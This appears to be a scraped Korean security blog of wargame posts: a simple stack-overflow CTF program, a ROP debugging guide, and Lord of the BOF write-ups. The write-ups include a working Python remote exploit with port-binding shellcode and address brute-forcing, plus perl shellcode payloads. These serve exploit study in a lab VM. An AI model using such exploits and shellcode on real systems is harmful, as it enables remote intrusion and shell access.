반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
 
void open_flag() {
  char flag[120];
  char email[] = "chanbin.lee123@gmail.com";
  FILE * file;
  file = fopen("flag.txt""r");
  if (file == NULL) {
    printf("Please contact %s, I couldn't find the flag file!\n", email);
    exit(0);
  }
  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
}
 
int main() {
  long key = 0x00000000;
  char buf[10];
  printf("Can you change my key to 0x12345678?\n");
  printf("I can’t open the flag otherwise!\n");
  printf("My key value is: 0x%08x\n", key);
  printf("What do you think?\n> ");
 
  gets(buf);
  printf("\nMy key is: 0x%08x\n", key);
 
  If(key == 0x12345678) {
    printf("Whoa, you changed my key! Good job!\nHere's the flag:\n");
    open_flag();
    exit(0);
  }
 
  if (key == 0x00000000) {
    printf("My key didn't change! Try again.\n");
    return 0;
  }
 
  printf("You're close! Keep trying.\n");
  return 0;
}
 
cs


hints

On a stack, where are the variables stored and in what order?

How big is the buffer? Does the program care about how long your input is?

What happens if you give an input bigger than what’s expected?

What are endians?



반응형

'STUDY > Documentation' 카테고리의 다른 글

Debugging your ROP  (0) 2019.02.18
해커스쿨 문서 백업 (Syshacks)  (0) 2019.02.17
Bufferoverflow 기법 정리  (0) 2015.09.22
핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
반응형

Print your payload:

print payload


Pipe it into a file:

EverTokki@pico-2018-shell:~/rop$ python test.py > input


Breakpoint where your program returns:

EverTokki@pico-2018-shell:~/rop$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ b *0x080488a2

Breakpoint 1 at 0x80488a2


Run it with your payload:

gdb-peda$ r < input

Starting program: /home/EverTokki/rop/gets < input

GIVE ME YOUR NAME!


Display your current pc (instruction): 

Breakpoint 1, 0x080488a2 in vuln ()

gdb-peda$ disp/3i $pc 

1: x/3i $pc

=> 0x80488a2 <vuln+38>: ret    

   0x80488a3 <main>: lea    ecx,[esp+0x4]

   0x80488a7 <main+4>: and    esp,0xfffffff0


Step into instructions:
gdb-peda$ si


Keep watching your registers and note when it screws up.


반응형

'STUDY > Documentation' 카테고리의 다른 글

Simple BOF Problem  (0) 2019.04.10
해커스쿨 문서 백업 (Syshacks)  (0) 2019.02.17
Bufferoverflow 기법 정리  (0) 2015.09.22
핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
반응형

Double_Staged_Format_String_Attack__pwn3r.pdf

Olly Debugger 사용 방법 강좌 2부.hwp

bof_fsb.hwp

remote_overflow2.pdf

remote_overflow1.pdf

code_exec.pdf

Olly Debugger 사용 방법 강좌 1부.hwp

asm_beginner.pdf

buf_overflow_techniques.pdf

fsb_howto.pdf

craft_shellcode.pdf

exploit_using_unfinished_str.pdf

fileread_race.pdf

datastructures.pdf

fsb원리.pdf

semaphores.pdf

fsb.pdf

ret-t-lib.pdf

BOF_strace.hwp


약간 유통기간(?)이 지난 문서들도 있겠지만 읽을 문서들이 필요했고,

해커스쿨 플래시 인터페이스는 2005년에는 멋있었겠지만 2019년에는 경악을 금치 못하는 수준이라

슬며시 재미있어보이는것들만 따와서 여기 올린다.


https://www.hackerschool.org/HardwareHacking/

여기도 재미있어보이지만 하드웨어는 일단 소프트웨어부터 익숙해진 후에 시도해보려 한다.

흠..배고프다

반응형

'STUDY > Documentation' 카테고리의 다른 글

Simple BOF Problem  (0) 2019.04.10
Debugging your ROP  (0) 2019.02.18
Bufferoverflow 기법 정리  (0) 2015.09.22
핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
반응형

It's finally time. I've always thought about translating this post but I finally get to do it now.


[What is Lord of the BOF?]

From a relatively easy environment, Redhat 6.2 to the ultimate Fedora 14 -

You'll have to go through numerous levels and show off your BOF skills.


Solve the highest level and shoot me an email at chanbin.lee123@gmail.com with a writeup of the death_knight challenge - I'll send you the Fedora image file.


[How to]

Lord of the BOF is given as a vmware image so that you'll have your own environment to connect into and play.


[Download]

1. Download the following vmware image and boot up!

http://hackerschool.org/TheLordofBOF/TheLordOfTheBOF_redhat_bootable.zip

2. Login with credentials: gate/gate

3. Set up your network settings through netconfig (There's a setuid set on the system)

4. Check your ip. (/sbin/ifconfig)

5. Use something like putty or xshell to connect(telnet) to the image and start hacking. 


[Basic Rules]

1. No single boot

2. No root exploit

3. NOT allowed to use LD_PRELOAD on the /bin/my-pass command


[How to check your next level's password]

/bin/my-pass


[List of Levels]


LEVEL1 (gate -> gremlin) :  simple bof

LEVEL2 (gremlin -> cobolt) : small buffer

LEVEL3 (cobolt -> goblin) : small buffer + stdin

LEVEL4 (goblin -> orc) : egghunter

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7 (darkelf -> orge) : check argv[0]

LEVEL8 (orge -> troll) : check argc

LEVEL9 (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp 

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF 



반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

xavius->death_knight  (0) 2014.07.31
nightmare->xavius  (0) 2014.07.22
succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26
반응형

https://docs.google.com/document/d/15d3f0ZEKxYXsrUNybTQlONGyxY9MVhb8NgDJAPNRCkU/edit?usp=drive_web


나름 공들여서 썼었던 기억이 난다. 기말고사 기간동안...

반응형

'STUDY > Documentation' 카테고리의 다른 글

Debugging your ROP  (0) 2019.02.18
해커스쿨 문서 백업 (Syshacks)  (0) 2019.02.17
핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Buffer Overflow  (3) 2014.05.18
반응형


작년에 한동안 학교다니면서 짬짬히 했었던거. 쏟은 시간에 비해 결과물은 비루하다. 오랜만에 파일정리하고있었는데 나오드라. 나중에 시간되면 갖고있는 나머지도 다 해봐야될듯. 근데 이거 두 개 하고서는 꽤나 어셈에 대한 두려움이 없어져갖고 신기했었다. 뭐든지 다 읽을 수 있는기분ㅋ 

요즘은.. 어셈보면.. 심란하다...


그리고 누누히 말하지만 나는 포인터들이 싫다. (정색)


re(完).docx

re3(完).docx






반응형

'STUDY > Documentation' 카테고리의 다른 글

해커스쿨 문서 백업 (Syshacks)  (0) 2019.02.17
Bufferoverflow 기법 정리  (0) 2015.09.22
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Buffer Overflow  (3) 2014.05.18
Key File  (0) 2014.05.16
반응형

이번에 좀 머리를 쓰긴 했지만 원래 소켓프로그래밍 정말로 해보고싶었던지라 재밌게 클리어 한 것 같습니다.

처음에 제 생각으론 쉘이 따져야할텐데 안 따져서 인터넷을 좀 뒤져봤더니 권한을 어.. 뭐라해야하지 연결한 프로그램한테 바로 주는 것이 아니라 다른 포트에 연결해놔서 listen하고 있게 둔 다음 그 포트로 접속해야 연결이 되게 만든 쉘코드가 바로 port binding shellcode이라네요. 스택 오버플로우에 비슷한 질문이 올라와있어서 포트바인딩 쉘코드를 사용해야 한다는걸 알게 되었습니다. 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-217.php 이곳에서 찾았습니다.



[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

        char buffer[40];


        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;


        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);


        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }


        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }


        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }


                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }


                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}

복잡한 코드엔 쥐약인데 보자마자 복잡해 보였습니다ㅋㅋ.... 프로그래밍 공부좀 열심히 해야겠습니다. 

일단 저는 클리어에 목표를 두었기 때문에 perror, 즉 에러메세지를 프린트해주는 부분은 건너뛰었습니다. 그 위의 소스도 소켓을 연결하는 부분이고요.


그렇다면 봐야할 곳은 여기인데

 if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }

여기를 보면 52바이트, 6바이트를 보낸 후 256 바이트를 받는 것을 볼 수 있습니다.

버퍼는 40바이트니, 여기서 버퍼오버플로우가 일어나게 됩니다.


처음에 노가다 했던 코드는 이거인데요,

#!usr/bin/python


from socket import *

import struct, sys


#s = socket(AF_INET, SOCK_STREAM)

payload='\x90'*44 #space


#96 bytes of shellcode

shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"


p = lambda x : struct.pack("<I", x)


#payload= nop 44 ret_addr 4 nop 110 shellcode 96

#s.connect(("192.168.10.129",6666))


print "Connecting.."


for address in range (0xbffff000, 0xbfffffff):

        payload+=p(address)

        payload+='\x90'*110

        payload+=shellcode


        s = socket(AF_INET, SOCK_STREAM)

        s.connect(("192.168.10.129",6666))

        print s.recv(52)

        print s.recv(6)

        s.send(payload)


s.close()


p = lambda x : struct.pack("<I", x) 이부분이 주소값을 리틀엔디안 형식으로 바꿔줍니다.

그냥 페이로드처럼 짰습니다. nop44개, 리턴어드레스, nop 110개, 그리고 쉘코드.

밑의 for address in range는 이제와서 찾아보니 문제 코드에 있는 dumpcode를 활용해 주소를 알아낼 수 있는 방법이 있는 듯하지만 주소값을 얻을 방법이 없는것 같아 막막해서 그냥 주소를 브루트포싱해버렸습니다..

그리고서 페이로드를 보내는 형식이었습니다.

하지만 실행시키면

Death Knight : Not even death can save you from me!


You : 

만 무수히 뜰 뿐, 쉘을 얻을 수가 없었는데, 바인드 한 포트로 접속해야한다는것을 깨달은 뒤 소스를 바꿨습니다.

Administratorui-MacBook-Pro-2:~ EverTokki$ vi exploit_lob.py 


#!usr/bin/python


from socket import *

import struct, sys

import os


#s = socket(AF_INET, SOCK_STREAM)


payload='\x90'*44 #space


#96 bytes of shellcode


shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"


p = lambda x : struct.pack("<I", x)


#payload= nop 44 ret_addr 4 nop 112 shellcode 96

#s.connect(("192.168.10.129",6666))


print "Connecting.."


for address in range (0xbffff000, 0xbfffffff):

        payload+=p(address)

        payload+='\x90'*110

        payload+=shellcode


        s = socket(AF_INET, SOCK_STREAM)

        s.connect(("192.168.10.129",6666))

        print s.recv(52)

        print s.recv(6)

        s.send(payload)


        os.system("telnet 192.168.10.129 31337")

#s.close()


#close connection


그리고서 신기했던건 바로 쉘이 떴다는 것이었습니다. 그리고 그냥 입력은 안되고 command;형식으로 쳐야 전달이 된다는것도요.

Administratorui-MacBook-Pro-2:~ EverTokki$ python exploit_lob.py 

Connecting..

Death Knight : Not even death can save you from me!


You : 

Trying 192.168.10.129...

Connected to 192.168.10.129.

Escape character is '^]'.

ls

: command not found

ls;

bin

boot

dev

etc

home

lib

lost+found

mnt

opt

proc

root

sbin

tmp

usr

var

my-pass;

euid = 520


exit하니 계속 브루트포싱이 돌아가더라고요ㅋㅋ

그 후로 다시 시도해보니 안되디다???

??

???진짜 안되네요 뭐 잘못 건드렸나?

암튼 푸는거 진짜 재밌게 했음..


login: death_knight

Password:

[death_knight@localhost death_knight]$ ls

dropped_item.txt

[death_knight@localhost death_knight]$ cat dropped_item.txt


 You're so great! This is a token to the next gate.


                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,'

                   `'


[death_knight@localhost death_knight]$


RedHat 6.2 여정 끗.

내일 시험있는데 이거하고나니 새벽한시네요. 클났다.

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

Lord of the BOF  (0) 2019.02.07
nightmare->xavius  (0) 2014.07.22
succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26
반응형
여러분 잠깐만, 이 단계 이상해요.

cat로 stdin에 전달하는것은 우선 맞고, 그러고서 팝렛형께 strace쓰라고 힌트도 듣고 감도 잡아서 공격을 하는데 심지어 세그멘테이션 폴트도 안뜨더라고여. 음 뷴명히 48바이트를 넣었는데. 그리고 또 이상한건 그래서 쉘코드가 문제인가? 하고 풀이에 있는 쉘코드를 사용해보았습니다. (Sanguine형 쉘코드를 잠시 썼습니다) 로그를 봐봐요.


[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x12, "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3", "\x02\x50\x10\x40"' ; cat)|./xerath


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x01\x50\x01\x40"';cat)|./xavius


¸ù¿@P1P¸@PP@




















ㅁㄴㅇ

/bin/sh: ㅁㄴㅇ: command not found

ㄹmy-pass

/bin/sh: ㄹmy-pass: command not found

my-pass

euid = 519

throw me away

q

/bin/sh: q: command not found

exit

exit


엔터를 치다보니 저렇게 되디다..? 그러고서 조금이따 다시 해보니까


[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x28, "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3", "\x02\x50\x10\x40"' ; cat)|./xerath


¸ù¿@P1P¸@PP@



[nightmare@localhost nightmare]$

??



..라고 글을 쓰는 도중, 깨닫게 되었습니다..

"' ; cat)의 차이와 "';cat)의 차이를..

하....

아니 근데 그게 문제가 아닌거 같은데요 뭔가 포맷문제긴 하지만 띄어쓰기 문제인지는 모르겠슴다..?

근데 다른 쉘코드로는 안되네요. 왜그러지. 혹시 2f가 파이프로 전달되면 안들어가나요?

여튼 풀려서 좋네여! 처음봤을땐 매우 막막했는데 풀림



반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

Lord of the BOF  (0) 2019.02.07
xavius->death_knight  (0) 2014.07.31
succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26

+ Recent posts